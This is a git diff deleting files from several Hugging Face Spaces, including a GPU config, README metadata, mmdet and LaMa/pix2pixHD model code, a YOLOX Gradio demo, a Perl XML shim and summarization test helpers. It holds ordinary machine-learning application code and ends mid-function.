-# 填写cuda:x, cpu 或 mps, x指代第几张卡，只支持 N卡 / Apple Silicon 加速
-device = "cuda:0"
-
-# 9-10-20-30-40系显卡无脑True，不影响质量，>=20显卡开启有加速
-is_half = True
-
-# 默认0用上所有线程，写数字限制CPU资源使用
-n_cpu = 0
-
-########################硬件参数########################
-
-
-##################下为参数处理逻辑，勿动##################
-
-########################命令行参数########################
-import argparse
-
-parser = argparse.ArgumentParser()
-parser.add_argument("--port", type=int, default=7865, help="Listen port")
-parser.add_argument("--pycmd", type=str, default="python", help="Python command")
-parser.add_argument("--colab", action="store_true", help="Launch in colab")
-parser.add_argument(
-    "--noparallel", action="store_true", help="Disable parallel processing"
-)
-parser.add_argument(
-    "--noautoopen", action="store_true", help="Do not open in browser automatically"
-)
-cmd_opts, unknown = parser.parse_known_args()
-
-python_cmd = cmd_opts.pycmd
-listen_port = cmd_opts.port
-iscolab = cmd_opts.colab
-noparallel = cmd_opts.noparallel
-noautoopen = cmd_opts.noautoopen
-########################命令行参数########################
-
-import sys
-import torch
-
-
-# has_mps is only available in nightly pytorch (for now) and MasOS 12.3+.
-# check `getattr` and try it for compatibility
-def has_mps() -> bool:
-    if sys.platform != "darwin":
-        return False
-    else:
-        if not getattr(torch, "has_mps", False):
-            return False
-        try:
-            torch.zeros(1).to(torch.device("mps"))
-            return True
-        except Exception:
-            return False
-
-
-if not torch.cuda.is_available():
-    if has_mps():
-        print("没有发现支持的N卡, 使用MPS进行推理")
-        device = "mps"
-    else:
-        print("没有发现支持的N卡, 使用CPU进行推理")
-        device = "cpu"
-        is_half = False
-
-if device not in ["cpu", "mps"]:
-    gpu_name = torch.cuda.get_device_name(int(device.split(":")[-1]))
-    if "16" in gpu_name or "MX" in gpu_name:
-        print("16系显卡/MX系显卡强制单精度")
-        is_half = False
-
-from multiprocessing import cpu_count
-
-if n_cpu == 0:
-    n_cpu = cpu_count()
-if is_half:
-    # 6G显存配置
-    x_pad = 3
-    x_query = 10
-    x_center = 60
-    x_max = 65
-else:
-    # 5G显存配置
-    x_pad = 1
-    x_query = 6
-    x_center = 38
-    x_max = 41
diff --git a/spaces/Zeel/HeteroscedasticGP/README.md b/spaces/Zeel/HeteroscedasticGP/README.md
deleted file mode 100644
index d017ae4d498ef6719cd6f2d1bdf9e376094c5c93..0000000000000000000000000000000000000000
--- a/spaces/Zeel/HeteroscedasticGP/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: HSGP
-emoji: 🌍
-colorFrom: yellow
-colorTo: blue
-sdk: streamlit
-sdk_version: 1.2.0
-app_file: app.py
-pinned: false
-license: mit
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces#reference
diff --git a/spaces/Zwicky18/vits-models/README.md b/spaces/Zwicky18/vits-models/README.md
deleted file mode 100644
index 2e44ec5507a21c84647346865c876ce2b48db560..0000000000000000000000000000000000000000
--- a/spaces/Zwicky18/vits-models/README.md
+++ /dev/null
@@ -1,14 +0,0 @@
----
-title: Vits Models
-emoji: 🏃
-colorFrom: pink
-colorTo: indigo
-sdk: gradio
-sdk_version: 3.17.0
-app_file: app.py
-pinned: false
-license: apache-2.0
-duplicated_from: sayashi/vits-models
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/a718/jjj/README.md b/spaces/a718/jjj/README.md
deleted file mode 100644
index 5d6936218874c647b5d22e13ad4be7edb8936f92..0000000000000000000000000000000000000000
--- a/spaces/a718/jjj/README.md
+++ /dev/null
@@ -1,28 +0,0 @@
----
-title: bingo
-emoji: 😊
-colorFrom: red
-colorTo: red
-sdk: docker
-license: mit
-duplicated_from: hf4all/bingo
----
-
-
      
-
-# Bingo 
-
-Bingo，一个让你呼吸顺畅 New Bing。
-
-高度还原 New Bing 网页版的主要操作，国内可用，兼容绝大多数微软 Bing AI 的功能，可自行部署使用。
-
-![Github stars](https://badgen.net/github/stars/weaigc/bingo?icon=github&label=stars)
-![Gthub issues](https://img.shields.io/github/issues/weaigc/bingo)
-[![docker build](https://github.com/weaigc/bingo/actions/workflows/docker.yml/badge.svg)](https://hub.docker.com/repository/docker/weaigc/bingo/)
-[![docker hub](https://badgen.net/docker/size/weaigc/bingo?icon=docker&label=image%20size)](https://hub.docker.com/repository/docker/weaigc/bingo/)
-[![MIT License](https://img.shields.io/badge/license-MIT-97c50f)](https://github.com/weaigc/bingo/blob/main/license)
-
-问题反馈请前往 https://github.com/weaigc/bingo/issues
-
      
-
-
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/post_processing/merge_augs.py b/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/post_processing/merge_augs.py
deleted file mode 100644
index dbcf79d1ac20ddc32cb1605e06d253803250c855..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmdet/core/post_processing/merge_augs.py
+++ /dev/null
@@ -1,150 +0,0 @@
-import copy
-import warnings
-
-import numpy as np
-import torch
-from mmcv import ConfigDict
-from mmcv.ops import nms
-
-from ..bbox import bbox_mapping_back
-
-
-def merge_aug_proposals(aug_proposals, img_metas, cfg):
-    """Merge augmented proposals (multiscale, flip, etc.)
-
-    Args:
-        aug_proposals (list[Tensor]): proposals from different testing
-            schemes, shape (n, 5). Note that they are not rescaled to the
-            original image size.
-
-        img_metas (list[dict]): list of image info dict where each dict has:
-            'img_shape', 'scale_factor', 'flip', and may also contain
-            'filename', 'ori_shape', 'pad_shape', and 'img_norm_cfg'.
-            For details on the values of these keys see
-            `mmdet/datasets/pipelines/formatting.py:Collect`.
-
-        cfg (dict): rpn test config.
-
-    Returns:
-        Tensor: shape (n, 4), proposals corresponding to original image scale.
-    """
-
-    cfg = copy.deepcopy(cfg)
-
-    # deprecate arguments warning
-    if 'nms' not in cfg or 'max_num' in cfg or 'nms_thr' in cfg:
-        warnings.warn(
-            'In rpn_proposal or test_cfg, '
-            'nms_thr has been moved to a dict named nms as '
-            'iou_threshold, max_num has been renamed as max_per_img, '
-            'name of original arguments and the way to specify '
-            'iou_threshold of NMS will be deprecated.')
-    if 'nms' not in cfg:
-        cfg.nms = ConfigDict(dict(type='nms', iou_threshold=cfg.nms_thr))
-    if 'max_num' in cfg:
-        if 'max_per_img' in cfg:
-            assert cfg.max_num == cfg.max_per_img, f'You set max_num and ' \
-                f'max_per_img at the same time, but get {cfg.max_num} ' \
-                f'and {cfg.max_per_img} respectively' \
-                f'Please delete max_num which will be deprecated.'
-        else:
-            cfg.max_per_img = cfg.max_num
-    if 'nms_thr' in cfg:
-        assert cfg.nms.iou_threshold == cfg.nms_thr, f'You set ' \
-            f'iou_threshold in nms and ' \
-            f'nms_thr at the same time, but get ' \
-            f'{cfg.nms.iou_threshold} and {cfg.nms_thr}' \
-            f' respectively. Please delete the nms_thr ' \
-            f'which will be deprecated.'
-
-    recovered_proposals = []
-    for proposals, img_info in zip(aug_proposals, img_metas):
-        img_shape = img_info['img_shape']
-        scale_factor = img_info['scale_factor']
-        flip = img_info['flip']
-        flip_direction = img_info['flip_direction']
-        _proposals = proposals.clone()
-        _proposals[:, :4] = bbox_mapping_back(_proposals[:, :4], img_shape,
-                                              scale_factor, flip,
-                                              flip_direction)
-        recovered_proposals.append(_proposals)
-    aug_proposals = torch.cat(recovered_proposals, dim=0)
-    merged_proposals, _ = nms(aug_proposals[:, :4].contiguous(),
-                              aug_proposals[:, -1].contiguous(),
-                              cfg.nms.iou_threshold)
-    scores = merged_proposals[:, 4]
-    _, order = scores.sort(0, descending=True)
-    num = min(cfg.max_per_img, merged_proposals.shape[0])
-    order = order[:num]
-    merged_proposals = merged_proposals[order, :]
-    return merged_proposals
-
-
-def merge_aug_bboxes(aug_bboxes, aug_scores, img_metas, rcnn_test_cfg):
-    """Merge augmented detection bboxes and scores.
-
-    Args:
-        aug_bboxes (list[Tensor]): shape (n, 4*#class)
-        aug_scores (list[Tensor] or None): shape (n, #class)
-        img_shapes (list[Tensor]): shape (3, ).
-        rcnn_test_cfg (dict): rcnn test config.
-
-    Returns:
-        tuple: (bboxes, scores)
-    """
-    recovered_bboxes = []
-    for bboxes, img_info in zip(aug_bboxes, img_metas):
-        img_shape = img_info[0]['img_shape']
-        scale_factor = img_info[0]['scale_factor']
-        flip = img_info[0]['flip']
-        flip_direction = img_info[0]['flip_direction']
-        bboxes = bbox_mapping_back(bboxes, img_shape, scale_factor, flip,
-                                   flip_direction)
-        recovered_bboxes.append(bboxes)
-    bboxes = torch.stack(recovered_bboxes).mean(dim=0)
-    if aug_scores is None:
-        return bboxes
-    else:
-        scores = torch.stack(aug_scores).mean(dim=0)
-        return bboxes, scores
-
-
-def merge_aug_scores(aug_scores):
-    """Merge augmented bbox scores."""
-    if isinstance(aug_scores[0], torch.Tensor):
-        return torch.mean(torch.stack(aug_scores), dim=0)
-    else:
-        return np.mean(aug_scores, axis=0)
-
-
-def merge_aug_masks(aug_masks, img_metas, rcnn_test_cfg, weights=None):
-    """Merge augmented mask prediction.
-
-    Args:
-        aug_masks (list[ndarray]): shape (n, #class, h, w)
-        img_shapes (list[ndarray]): shape (3, ).
-        rcnn_test_cfg (dict): rcnn test config.
-
-    Returns:
-        tuple: (bboxes, scores)
-    """
-    recovered_masks = []
-    for mask, img_info in zip(aug_masks, img_metas):
-        flip = img_info[0]['flip']
-        flip_direction = img_info[0]['flip_direction']
-        if flip:
-            if flip_direction == 'horizontal':
-                mask = mask[:, :, :, ::-1]
-            elif flip_direction == 'vertical':
-                mask = mask[:, :, ::-1, :]
-            else:
-                raise ValueError(
-                    f"Invalid flipping direction '{flip_direction}'")
-        recovered_masks.append(mask)
-
-    if weights is None:
-        merged_masks = np.mean(recovered_masks, axis=0)
-    else:
-        merged_masks = np.average(
-            np.array(recovered_masks), axis=0, weights=np.array(weights))
-    return merged_masks
diff --git a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/models/__init__.py b/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/models/__init__.py
deleted file mode 100644
index 3cf93f8bec9cf0cef0a3bd76ca3ca92eb188f535..0000000000000000000000000000000000000000
--- a/spaces/abhishek/sketch-to-image/annotator/uniformer/mmseg/models/__init__.py
+++ /dev/null
@@ -1,12 +0,0 @@
-from .backbones import *  # noqa: F401,F403
-from .builder import (BACKBONES, HEADS, LOSSES, SEGMENTORS, build_backbone,
-                      build_head, build_loss, build_segmentor)
-from .decode_heads import *  # noqa: F401,F403
-from .losses import *  # noqa: F401,F403
-from .necks import *  # noqa: F401,F403
-from .segmentors import *  # noqa: F401,F403
-
-__all__ = [
-    'BACKBONES', 'HEADS', 'LOSSES', 'SEGMENTORS', 'build_backbone',
-    'build_head', 'build_loss', 'build_segmentor'
-]
diff --git a/spaces/aibc/object-detection-demo/app.py b/spaces/aibc/object-detection-demo/app.py
deleted file mode 100644
index a35358e72fff375ffc5f99e78c774ec95c836cd8..0000000000000000000000000000000000000000
--- a/spaces/aibc/object-detection-demo/app.py
+++ /dev/null
@@ -1,75 +0,0 @@
-import numpy as np
-from keras_cv_attention_models.yolox import * # import all yolox model
-from keras_cv_attention_models.coco import data
-import matplotlib.pyplot as plt
-import gradio as gr
- 
-# semua yolox model
-choices = ["YOLOXNano", "YOLOXTiny", "YOLOXS", "YOLOXM", "YOLOXL", "YOLOXX"]
-
-def main(input_img, models):
-    
-    #
-    fig, ax = plt.subplots() # pakai ini,jika tidak akan muncul error
-
-    # YOLOXNano models
-    if models == "YOLOXNano": 
-        model = YOLOXNano(pretrained="coco") 
-
-    # YOLOXTiny models
-    elif models == "YOLOXTiny": 
-        model = YOLOXTiny(pretrained="coco") 
-
-    # YOLOXS models   
-    elif models == "YOLOXS":       
-        model = YOLOXS(pretrained="coco") 
-
-    # YOLOXM models    
-    elif models == "YOLOXM": 
-        model = YOLOXM(pretrained="coco") 
-
-    # YOLOXL models    
-    elif models == "YOLOXL":
-        model = YOLOXL(pretrained="coco") 
-
-    # YOLOXX models   
-    elif models == "YOLOXX":      
-        model = YOLOXX(pretrained="coco") 
-
-    # pass    
-    else:  
-        pass
-
-    # image pre processing yolox
-    preds = model(model.preprocess_input(input_img))
-    bboxs, lables, confidences = model.decode_predictions(preds)[0]
-    data.show_image_with_bboxes(input_img, bboxs, lables, confidences, num_classes=100,label_font_size=17, ax=ax)
-
-    return fig
-
-# define params
-
-input = [gr.inputs.Image(shape=(2000, 1500),label = "Input Image"),
-         gr.inputs.Dropdown(choices= choices, type="value", default='YOLOXS', label="Model")]
-
-output = gr.outputs.Image(type="plot", label="Output Image")
-
-title = "aibc YOLOX Demo"
-
-example = [["images_1.jpeg ","YOLOXM"],["images_2.jpeg","YOLOXS"],["images.jpeg","YOLOXL"]]
-
-description = "Demo for YOLOX(Object Detection). Models are YOLOXNano - YOLOXX"           
-
-article = "YOLOX is an anchor-free version of YOLO, with a simpler design but better performance!

      Untuk penjelasan lihat di repo ku 😁
      "
-
-# deploy
-iface = gr.Interface(main, 
-                    inputs = input,
-                    outputs = output, 
-                    title = title,
-                    article = article,
-                    description = description, 
-                    examples = example, 
-                    theme = "dark") 
-                    
-iface.launch(debug = True)
\ No newline at end of file
diff --git a/spaces/akhaliq/SummerTime/model/third_party/HMNet/ThirdParty/ROUGE/ROUGE-1.5.5/XML/DOM/PerlSAX.pm b/spaces/akhaliq/SummerTime/model/third_party/HMNet/ThirdParty/ROUGE/ROUGE-1.5.5/XML/DOM/PerlSAX.pm
deleted file mode 100644
index f025cce0afdeb00a79a7c1d72cb522e1131062c0..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/SummerTime/model/third_party/HMNet/ThirdParty/ROUGE/ROUGE-1.5.5/XML/DOM/PerlSAX.pm
+++ /dev/null
@@ -1,47 +0,0 @@
-package XML::DOM::PerlSAX;
-use strict;
-
-BEGIN
-{
-    if ($^W)
-    {
-	warn "XML::DOM::PerlSAX has been renamed to XML::Handler::BuildDOM, please modify your code accordingly.";
-    }
-}
-
-use XML::Handler::BuildDOM;
-use vars qw{ @ISA };
-@ISA = qw{ XML::Handler::BuildDOM };
-
-1; # package return code
-
-__END__
-
-=head1 NAME
-
-XML::DOM::PerlSAX - Old name of L
-
-=head1 SYNOPSIS
-
- See L
-
-=head1 DESCRIPTION
-
-XML::DOM::PerlSAX was renamed to L to comply
-with naming conventions for PerlSAX filters/handlers.
-
-For backward compatibility, this package will remain in existence 
-(it simply includes XML::Handler::BuildDOM), but it will print a warning when 
-running with I<'perl -w'>.
-
-=head1 AUTHOR
-
-Enno Derksen is the original author.
-
-Send bug reports, hints, tips, suggestions to T.J Mather at
->.
-
-=head1 SEE ALSO
-
-L, L
-
diff --git a/spaces/akhaliq/SummerTime/tests/helpers.py b/spaces/akhaliq/SummerTime/tests/helpers.py
deleted file mode 100644
index e845ba70d3075f572e5828c898a5a11d0b089969..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/SummerTime/tests/helpers.py
+++ /dev/null
@@ -1,66 +0,0 @@
-from dataset.st_dataset import SummDataset, SummInstance
-
-import random
-from typing import List, Tuple
-
-
-def print_with_color(s: str, color: str):
-    """
-    Print formatted string.
-
-    :param str `s`: String to print.
-    :param str `color`: ANSI color code.
-
-    :see https://gist.github.com/RabaDabaDoba/145049536f815903c79944599c6f952a
-    """
-
-    print(f"\033[{color}m{s}\033[0m")
-
-
-def retrieve_random_test_instances(
-    dataset_instances: List[SummInstance], num_instances=3
-) -> List[SummInstance]:
-    """
-    Retrieve random test instances from a dataset training set.
-
-    :param List[SummInstance] `dataset_instances`: Instances from a dataset `train_set` to pull random examples from.
-    :param int `num_instances`: Number of random instances to pull. Defaults to `3`.
-    :return List of SummInstance to summarize.
-    """
-
-    test_instances = []
-    for i in range(num_instances):
-        test_instances.append(
-            dataset_instances[random.randint(0, len(dataset_instances) - 1)]
-        )
-    return test_instances
-
-
-def get_summarization_set(dataset: SummDataset, size=1) -> Tuple[List, List]:
-    """
-    Return instances from given summarization dataset, in the format of (sources, targets).
-    """
-    subset = []
-    for i in range(size):
-        subset.append(next(dataset.train_set))
-
-    src, tgt = zip(*(list(map(lambda x: (x.source, x.summary), subset))))
-
-    return list(src), list(tgt)
-
-
-def get_query_based_summarization_set(
-    dataset: SummDataset, size=1
-) -> Tuple[List, List, List]:
-    """
-    Return instances from given query-based summarization dataset, in the format of (sources, targets, queries).
-    """
-    subset = []
-    for i in range(size):
-        subset.append(next(dataset.train_set))
-
-    src, tgt, queries = zip(
-        *(list(map(lambda x: (x.source, x.summary, x.query), subset)))
-    )
-
-    return list(src), list(tgt), list(queries)
diff --git a/spaces/akhaliq/lama/models/ade20k/segm_lib/utils/th.py b/spaces/akhaliq/lama/models/ade20k/segm_lib/utils/th.py
deleted file mode 100644
index ca6ef9385e3b5c0a439579d3fd7aa73b5dc62758..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/lama/models/ade20k/segm_lib/utils/th.py
+++ /dev/null
@@ -1,41 +0,0 @@
-import torch
-from torch.autograd import Variable
-import numpy as np
-import collections
-
-__all__ = ['as_variable', 'as_numpy', 'mark_volatile']
-
-def as_variable(obj):
-    if isinstance(obj, Variable):
-        return obj
-    if isinstance(obj, collections.Sequence):
-        return [as_variable(v) for v in obj]
-    elif isinstance(obj, collections.Mapping):
-        return {k: as_variable(v) for k, v in obj.items()}
-    else:
-        return Variable(obj)
-
-def as_numpy(obj):
-    if isinstance(obj, collections.Sequence):
-        return [as_numpy(v) for v in obj]
-    elif isinstance(obj, collections.Mapping):
-        return {k: as_numpy(v) for k, v in obj.items()}
-    elif isinstance(obj, Variable):
-        return obj.data.cpu().numpy()
-    elif torch.is_tensor(obj):
-        return obj.cpu().numpy()
-    else:
-        return np.array(obj)
-
-def mark_volatile(obj):
-    if torch.is_tensor(obj):
-        obj = Variable(obj)
-    if isinstance(obj, Variable):
-        obj.no_grad = True
-        return obj
-    elif isinstance(obj, collections.Mapping):
-        return {k: mark_volatile(o) for k, o in obj.items()}
-    elif isinstance(obj, collections.Sequence):
-        return [mark_volatile(o) for o in obj]
-    else:
-        return obj
diff --git a/spaces/akhaliq/lama/saicinpainting/training/modules/pix2pixhd.py b/spaces/akhaliq/lama/saicinpainting/training/modules/pix2pixhd.py
deleted file mode 100644
index 08c6afd777a88cd232592acbbf0ef25db8d43217..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/lama/saicinpainting/training/modules/pix2pixhd.py
+++ /dev/null
@@ -1,669 +0,0 @@
-# original: https://github.com/NVIDIA/pix2pixHD/blob/master/models/networks.py
-import collections
-from functools import partial
-import functools
-import logging
-from collections import defaultdict
-
-import numpy as np
-import torch.nn as nn
-
-from saicinpainting.training.modules.base import BaseDiscriminator, deconv_factory, get_conv_block_ctor, get_norm_layer, get_activation
-from saicinpainting.training.modules.ffc import FFCResnetBlock
-from saicinpainting.training.modules.multidilated_conv import MultidilatedConv
-
-class DotDict(defaultdict):
-    # https://stackoverflow.com/questions/2352181/how-to-use-a-dot-to-access-members-of-dictionary
-    """dot.notation access to dictionary attributes"""
-    __getattr__ = defaultdict.get
-    __setattr__ = defaultdict.__setitem__
-    __delattr__ = defaultdict.__delitem__
-
-class Identity(nn.Module):
-    def __init__(self):
-        super().__init__()
-
-    def forward(self, x):
-        return x
-
-
-class ResnetBlock(nn.Module):
-    def __init__(self, dim, padding_type, norm_layer, activation=nn.ReLU(True), use_dropout=False, conv_kind='default',
-                 dilation=1, in_dim=None, groups=1, second_dilation=None):
-        super(ResnetBlock, self).__init__()
-        self.in_dim = in_dim
-        self.dim = dim
-        if second_dilation is None:
-            second_dilation = dilation
-        self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, activation, use_dropout,
-                                                conv_kind=conv_kind, dilation=dilation, in_dim=in_dim, groups=groups,
-                                                second_dilation=second_dilation)
-
-        if self.in_dim is not None:
-            self.input_conv = nn.Conv2d(in_dim, dim, 1)
-
-        self.out_channnels = dim
-
-    def build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout, conv_kind='default',
-                         dilation=1, in_dim=None, groups=1, second_dilation=1):
-        conv_layer = get_conv_block_ctor(conv_kind)
-
-        conv_block = []
-        p = 0
-        if padding_type == 'reflect':
-            conv_block += [nn.ReflectionPad2d(dilation)]
-        elif padding_type == 'replicate':
-            conv_block += [nn.ReplicationPad2d(dilation)]
-        elif padding_type == 'zero':
-            p = dilation
-        else:
-            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
-
-        if in_dim is None:
-            in_dim = dim
-
-        conv_block += [conv_layer(in_dim, dim, kernel_size=3, padding=p, dilation=dilation),
-                       norm_layer(dim),
-                       activation]
-        if use_dropout:
-            conv_block += [nn.Dropout(0.5)]
-
-        p = 0
-        if padding_type == 'reflect':
-            conv_block += [nn.ReflectionPad2d(second_dilation)]
-        elif padding_type == 'replicate':
-            conv_block += [nn.ReplicationPad2d(second_dilation)]
-        elif padding_type == 'zero':
-            p = second_dilation
-        else:
-            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
-        conv_block += [conv_layer(dim, dim, kernel_size=3, padding=p, dilation=second_dilation, groups=groups),
-                       norm_layer(dim)]
-
-        return nn.Sequential(*conv_block)
-
-    def forward(self, x):
-        x_before = x
-        if self.in_dim is not None:
-            x = self.input_conv(x)
-        out = x + self.conv_block(x_before)
-        return out
-
-class ResnetBlock5x5(nn.Module):
-    def __init__(self, dim, padding_type, norm_layer, activation=nn.ReLU(True), use_dropout=False, conv_kind='default',
-                 dilation=1, in_dim=None, groups=1, second_dilation=None):
-        super(ResnetBlock5x5, self).__init__()
-        self.in_dim = in_dim
-        self.dim = dim
-        if second_dilation is None:
-            second_dilation = dilation
-        self.conv_block = self.build_conv_block(dim, padding_type, norm_layer, activation, use_dropout,
-                                                conv_kind=conv_kind, dilation=dilation, in_dim=in_dim, groups=groups,
-                                                second_dilation=second_dilation)
-
-        if self.in_dim is not None:
-            self.input_conv = nn.Conv2d(in_dim, dim, 1)
-
-        self.out_channnels = dim
-
-    def build_conv_block(self, dim, padding_type, norm_layer, activation, use_dropout, conv_kind='default',
-                         dilation=1, in_dim=None, groups=1, second_dilation=1):
-        conv_layer = get_conv_block_ctor(conv_kind)
-
-        conv_block = []
-        p = 0
-        if padding_type == 'reflect':
-            conv_block += [nn.ReflectionPad2d(dilation * 2)]
-        elif padding_type == 'replicate':
-            conv_block += [nn.ReplicationPad2d(dilation * 2)]
-        elif padding_type == 'zero':
-            p = dilation * 2
-        else:
-            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
-
-        if in_dim is None:
-            in_dim = dim
-
-        conv_block += [conv_layer(in_dim, dim, kernel_size=5, padding=p, dilation=dilation),
-                       norm_layer(dim),
-                       activation]
-        if use_dropout:
-            conv_block += [nn.Dropout(0.5)]
-
-        p = 0
-        if padding_type == 'reflect':
-            conv_block += [nn.ReflectionPad2d(second_dilation * 2)]
-        elif padding_type == 'replicate':
-            conv_block += [nn.ReplicationPad2d(second_dilation * 2)]
-        elif padding_type == 'zero':
-            p = second_dilation * 2
-        else:
-            raise NotImplementedError('padding [%s] is not implemented' % padding_type)
-        conv_block += [conv_layer(dim, dim, kernel_size=5, padding=p, dilation=second_dilation, groups=groups),
-                       norm_layer(dim)]
-
-        return nn.Sequential(*conv_block)
-
-    def forward(self, x):
-        x_before = x
-        if self.in_dim is not None:
-            x = self.input_conv(x)
-        out = x + self.conv_block(x_before)
-        return out
-
-
-class MultidilatedResnetBlock(nn.Module):
-    def __init__(self, dim, padding_type, conv_layer, norm_layer, activation=nn.ReLU(True), use_dropout=False):
-        super().__init__()
-        self.conv_block = self.build_conv_block(dim, padding_type, conv_layer, norm_layer, activation, use_dropout)
-
-    def build_conv_block(self, dim, padding_type, conv_layer, norm_layer, activation, use_dropout, dilation=1):
-        conv_block = []
-        conv_block += [conv_layer(dim, dim, kernel_size=3, padding_mode=padding_type),
-                       norm_layer(dim),
-                       activation]
-        if use_dropout:
-            conv_block += [nn.Dropout(0.5)]
-
-        conv_block += [conv_layer(dim, dim, kernel_size=3, padding_mode=padding_type),
-                       norm_layer(dim)]
-
-        return nn.Sequential(*conv_block)
-
-    def forward(self, x):
-        out = x + self.conv_block(x)
-        return out
-
-
-class MultiDilatedGlobalGenerator(nn.Module):
-    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3,
-                 n_blocks=3, norm_layer=nn.BatchNorm2d,
-                 padding_type='reflect', conv_kind='default',
-                 deconv_kind='convtranspose', activation=nn.ReLU(True),
-                 up_norm_layer=nn.BatchNorm2d, affine=None, up_activation=nn.ReLU(True),
-                 add_out_act=True, max_features=1024, multidilation_kwargs={},
-                 ffc_positions=None, ffc_kwargs={}):
-        assert (n_blocks >= 0)
-        super().__init__()
-
-        conv_layer = get_conv_block_ctor(conv_kind)
-        resnet_conv_layer = functools.partial(get_conv_block_ctor('multidilated'), **multidilation_kwargs)
-        norm_layer = get_norm_layer(norm_layer)
-        if affine is not None:
-            norm_layer = partial(norm_layer, affine=affine)
-        up_norm_layer = get_norm_layer(up_norm_layer)
-        if affine is not None:
-            up_norm_layer = partial(up_norm_layer, affine=affine)
-
-        model = [nn.ReflectionPad2d(3),
-                 conv_layer(input_nc, ngf, kernel_size=7, padding=0),
-                 norm_layer(ngf),
-                 activation]
-
-        identity = Identity()
-        ### downsample
-        for i in range(n_downsampling):
-            mult = 2 ** i
-
-            model += [conv_layer(min(max_features, ngf * mult),
-                                    min(max_features, ngf * mult * 2),
-                                    kernel_size=3, stride=2, padding=1),
-                        norm_layer(min(max_features, ngf * mult * 2)),
-                        activation]
-
-        mult = 2 ** n_downsampling
-        feats_num_bottleneck = min(max_features, ngf * mult)
-
-        ### resnet blocks
-        for i in range(n_blocks):
-            if ffc_positions is not None and i in ffc_positions:
-                model += [FFCResnetBlock(feats_num_bottleneck, padding_type, norm_layer, activation_layer=nn.ReLU,
-                                         inline=True, **ffc_kwargs)]
-            model += [MultidilatedResnetBlock(feats_num_bottleneck, padding_type=padding_type,
-                                              conv_layer=resnet_conv_layer, activation=activation,
-                                              norm_layer=norm_layer)]
-
-        ### upsample
-        for i in range(n_downsampling):
-            mult = 2 ** (n_downsampling - i)
-            model += deconv_factory(deconv_kind, ngf, mult, up_norm_layer, up_activation, max_features)
-        model += [nn.ReflectionPad2d(3),
-                  nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
-        if add_out_act:
-            model.append(get_activation('tanh' if add_out_act is True else add_out_act))
-        self.model = nn.Sequential(*model)
-
-    def forward(self, input):
-        return self.model(input)
-
-class ConfigGlobalGenerator(nn.Module):
-    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3,
-                 n_blocks=3, norm_layer=nn.BatchNorm2d,
-                 padding_type='reflect', conv_kind='default',
-                 deconv_kind='convtranspose', activation=nn.ReLU(True),
-                 up_norm_layer=nn.BatchNorm2d, affine=None, up_activation=nn.ReLU(True),
-                 add_out_act=True, max_features=1024,
-                 manual_block_spec=[],
-                 resnet_block_kind='multidilatedresnetblock',
-                 resnet_conv_kind='multidilated',
-                 resnet_dilation=1,
-                 multidilation_kwargs={}):
-        assert (n_blocks >= 0)
-        super().__init__()
-
-        conv_layer = get_conv_block_ctor(conv_kind)
-        resnet_conv_layer = functools.partial(get_conv_block_ctor(resnet_conv_kind), **multidilation_kwargs)
-        norm_layer = get_norm_layer(norm_layer)
-        if affine is not None:
-            norm_layer = partial(norm_layer, affine=affine)
-        up_norm_layer = get_norm_layer(up_norm_layer)
-        if affine is not None:
-            up_norm_layer = partial(up_norm_layer, affine=affine)
-
-        model = [nn.ReflectionPad2d(3),
-                 conv_layer(input_nc, ngf, kernel_size=7, padding=0),
-                 norm_layer(ngf),
-                 activation]
-
-        identity = Identity()
-
-        ### downsample
-        for i in range(n_downsampling):
-            mult = 2 ** i
-            model += [conv_layer(min(max_features, ngf * mult),
-                                    min(max_features, ngf * mult * 2),
-                                    kernel_size=3, stride=2, padding=1),
-                        norm_layer(min(max_features, ngf * mult * 2)),
-                        activation]
-
-        mult = 2 ** n_downsampling
-        feats_num_bottleneck = min(max_features, ngf * mult)
-
-        if len(manual_block_spec) == 0:
-            manual_block_spec = [
-                DotDict(lambda : None, {
-                    'n_blocks': n_blocks,
-                    'use_default': True})
-            ]
-
-        ### resnet blocks
-        for block_spec in manual_block_spec:
-            def make_and_add_blocks(model, block_spec):
-                block_spec = DotDict(lambda : None, block_spec)
-                if not block_spec.use_default:
-                    resnet_conv_layer = functools.partial(get_conv_block_ctor(block_spec.resnet_conv_kind), **block_spec.multidilation_kwargs)
-                    resnet_conv_kind = block_spec.resnet_conv_kind
-                    resnet_block_kind = block_spec.resnet_block_kind
-                    if block_spec.resnet_dilation is not None:
-                        resnet_dilation = block_spec.resnet_dilation
-                for i in range(block_spec.n_blocks):
-                    if resnet_block_kind == "multidilatedresnetblock":
-                        model += [MultidilatedResnetBlock(feats_num_bottleneck, padding_type=padding_type,
-                                                        conv_layer=resnet_conv_layer, activation=activation,
-                                                        norm_layer=norm_layer)]
-                    if resnet_block_kind == "resnetblock":                                            
-                        model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer,
-                                            conv_kind=resnet_conv_kind)]
-                    if resnet_block_kind == "resnetblock5x5":                                            
-                        model += [ResnetBlock5x5(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer,
-                                            conv_kind=resnet_conv_kind)]
-                    if resnet_block_kind == "resnetblockdwdil":
-                        model += [ResnetBlock(ngf * mult, padding_type=padding_type, activation=activation, norm_layer=norm_layer,
-                                            conv_kind=resnet_conv_kind, dilation=resnet_dilation, second_dilation=resnet_dilation)]
-            make_and_add_blocks(model, block_spec)
-        
-        ### upsample
-        for i in range(n_downsampling):
-            mult = 2 ** (n_downsampling - i)
